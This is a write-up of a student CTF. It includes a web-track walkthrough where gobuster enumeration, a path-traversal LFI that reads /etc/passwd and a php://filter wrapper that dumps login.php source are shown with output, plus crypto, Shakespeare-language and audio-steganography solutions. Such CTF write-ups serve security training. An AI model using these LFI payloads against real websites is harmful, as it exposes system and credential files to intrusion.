The CTF is a 24 hour long CTF made through a collaboration between a few companies and Polytechnique Montreal’s cybersecurity student club.
Misc
Read the Rules! – Easy – 10 pts
There might a little gift for those who read the rules…
Read the rules. A flag is at the end…
FLAG-{rules_are_important!}
Jamais sans mon RIZ
Come and learn about your true passion served with a side of challenging web vulnerabilities.
A full web track with many challenges of progressing difficulty, for beginner to experienced players. http://www.jamaissansmonriz.com/
Flag 1 – Easy – 80 pts
Crawl the website using Gobuster to see if there are hidden pages.
URL="http://www.jamaissansmonriz.com/"
WL=/usr/share/dirb/wordlists/common.txt
gobuster dir -k -u $URL -w $WL -s '200,204,301,302,307,403,500' -e
The flag is in the robots.txt file: http://www.jamaissansmonriz.com/robots.txt
FLAG{1_dur_dur_detre_un_robot}
Flag 2 – Medium – 185 pts
When navigating the website, we see that posts have URL like this:
http://www.jamaissansmonriz.com/post.php?postid=posts/1.php
http://www.jamaissansmonriz.com/post.php?postid=posts/2.php
http://www.jamaissansmonriz.com/post.php?postid=posts/3.php
...
Try a local file inclusion (LFI):
http://www.jamaissansmonriz.com/post.php?postid=admin/login.php
It runs the login page. Try another example.
http://www.jamaissansmonriz.com/post.php?postid=../../../../../../etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
admin:x:1000:1000::/home/admin:/bin/sh
Use the LFI with PHP wrappers to read the admin/login.php page code.
http://www.jamaissansmonriz.com/post.php?postid=php://filter/convert.base64-encode/resource=admin/login.php
We get the code of login.php encoded in base 64. Use CyberChef to decode it.
<?php
// FLAG{2_je_me_sens_tellement_inclu}
include_once("lib/crypto.php");
session_start();
if(isset($_SESSION["admin"]) && $_SESSION["admin"]) {
header("Location: /admin/index.php");
exit();
}
// Validate Remember Me
if(isset($_COOKIE["remember_me"])) {
if ($remember_me = validate_remember_me_cookie($_COOKIE["remember_me"])) {
$_SESSION["admin"] = true;
$_SESSION["username"] = "admin";
header("Location: /admin/index.php");
exit();
}
}
// Validate login
if(isset($_POST["email"]) && isset($_POST["password"])) {
// TODO: Ajouter une base de donnees, comme ca on ne riz plus
if($_POST["email"] === "admin@jamaissansmonriz.com" && $_POST["password"] === getenv("FLAG4")) {
$_SESSION["admin"] = true;
$_SESSION["username"] = "admin";
if(isset($_POST["remember_me"]) && $_POST["remember_me"] === "on") {
setcookie("remember_me", generate_remember_me_cookie($_SESSION["username"], "1"), time()+3600*24*30, "/", "", 0);
}
header("Location: /admin/index.php");
exit();
}
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="description" content="">
<meta name="author" content="">
<title>SB Admin 2 - Login</title>
<!-- Custom fonts for this template-->
<link href="vendor/fontawesome-free/css/all.min.css" rel="stylesheet" type="text/css">
<link
href="https://fonts.googleapis.com/css?family=Nunito:200,200i,300,300i,400,400i,600,600i,700,700i,800,800i,900,900i"
rel="stylesheet">
<!-- Custom styles for this template-->
<link href="css/sb-admin-2.min.css" rel="stylesheet">
</head>
<body class="bg-gradient-primary">
<div class="container">
<!-- Outer Row -->
<div class="row justify-content-center">
<div class="col-xl-10 col-lg-12 col-md-9">
<div class="card o-hidden border-0 shadow-lg my-5">
<div class="card-body p-0">
<!-- Nested Row within Card Body -->
<div class="row">
<div class="col-lg-6 d-none d-lg-block bg-login-image"></div>
<div class="col-lg-6">
<div class="p-5">
<div class="text-center">
<h1 class="h4 text-gray-900 mb-4">Welcome Back!</h1>
</div>
<form class="user" action="login.php" method="post">
<div class="form-group">
<input name="email" type="email" class="form-control form-control-user"
id="exampleInputEmail" aria-describedby="emailHelp"
placeholder="admin@jamaissansmonriz.com" required>
</div>
<div class="form-group">
<input name="password" type="password" class="form-control form-control-user"
id="exampleInputPassword" placeholder="Password" required>
</div>
<div class="form-group">
<div class="custom-control custom-checkbox small">
<input name="remember_me" type="checkbox" class="custom-control-input" id="customCheck">
<label class="custom-control-label" for="customCheck">Remember Me</label>
</div>
</div>
<input type="submit" class="btn btn-primary btn-user btn-block" value="Login">
</form>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<!-- Bootstrap core JavaScript-->
<script src="vendor/jquery/jquery.min.js"></script>
<script src="vendor/bootstrap/js/bootstrap.bundle.min.js"></script>
<!-- Core plugin JavaScript-->
<script src="vendor/jquery-easing/jquery.easing.min.js"></script>
<!-- Custom scripts for all pages-->
<script src="js/sb-admin-2.min.js"></script>
</body>
</html>
FLAG{2_je_me_sens_tellement_inclu}
Flag 3
From the code of login.php previously found, we see that the login page redirects to admin/index.php. Access it using the LFI.
if(isset($_SESSION["admin"]) && $_SESSION["admin"]) {
header("Location: /admin/index.php");
exit();
}
http://www.jamaissansmonriz.com/post.php?postid=admin/index.php
FLAG{3_you_get_a_token_you_get_a_token_you_get_a_token}
Crypto
Un groupe de pirates informatique s’est donné comme but de ralentir la création de cybertalent auprès des jeunes au Québec. Ils se sont attaqués aux messages publicitaires de l’ÉcoleCyber. Pouvez-vous aider l’équipe à restorer les messages corompus?
Pouvez récuperer le message publicitaire initial à partir du message corompu?
Flag 1 – Easy – 80pts
Download challenge file at: https://polyhx.ctfd.io/files/3d2d89c8d632af8e48c81c80fa9d1ba7/challenge1.txt
cat challenge1.txt
FLAG{dbabd604f47b0acd8fd6f43632023a96}
Flag 2 – Easy – 90pts
https://polyhx.ctfd.io/files/4deba74f5b64146ddf2982dd0086dcaf/challenge2.txt
Not completed.
Flag 3 – Easy – 80pts
Download the file and open it in a text editor (ideally on wide screen) to be able to see the flag in ascii art.
FLAG{ART}
Shakespeare
Shakespeare Programming Language. See shakespearelang.
#!/usr/bin/python
# pip3 install shakespearelang
import socket
from shakespearelang.shakespeare_interpreter import Shakespeare
# Get one Shakespeare play and submit anwser to question
# Returns True if the flag was obtained
def get_play(s):
flag_found = False
lines = ""
while True:
try:
line = s.recv(1024).decode('utf-8')
except socket.timeout:
break
if not line:
break
else:
lines = lines + line
if "FLAG" in lines:
flag_found = True
print(lines)
else:
#print(lines)
title, play, question = lines.split('==========================================================\n')
interp = Shakespeare()
interp.run_play(play)
answer = 0
for character in interp.characters:
if character.name in question:
answer = character.value
else:
print("Character " + character.name + " not found in question.")
print("Submitting answer: " + str(answer))
s.send(bytes(str(answer) + '\r\n', 'utf-8'))
return flag_found
# Get Shakespeare plays until the flag is obtained or max attempts is reached
found = False
attempts = 10
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('0.cloud.chals.io', 32734))
s.settimeout(1)
while not found and attempts > 0:
found = get_play(s)
attempts = attempts - 1
s.close()
FLAG{t0_h4ck_0r_n0t_t0_h4ck}
Cassette
Flag 1
- Open Audacity.
- Click File->Import->Audio and choose secret.wav.
- Click File->Import->Audio and choose original.wav.
- Right-click on secret.wav on the left and select Spectogram. We can see parts of the flag is there.
- Select secret.wav and click Effect->Invert. Invert flips the audio upside-down, reversing their polarity. The positive samples (above the horizontal zero line in the Audacity Waveform) are moved below the zero line (so becoming negative), and negative samples are made positive.
- Click File->Export->Export as WAV to obtain a wav file with the two files combined. This will substract original (that was inverted) from secret.
- Open the new file with Audacity.
- Right-click on the file and select Spectogram.
- The flag is displayed.
FLAG{W3lc0m3_t0_4ud10_St3G4n0gr4pHy}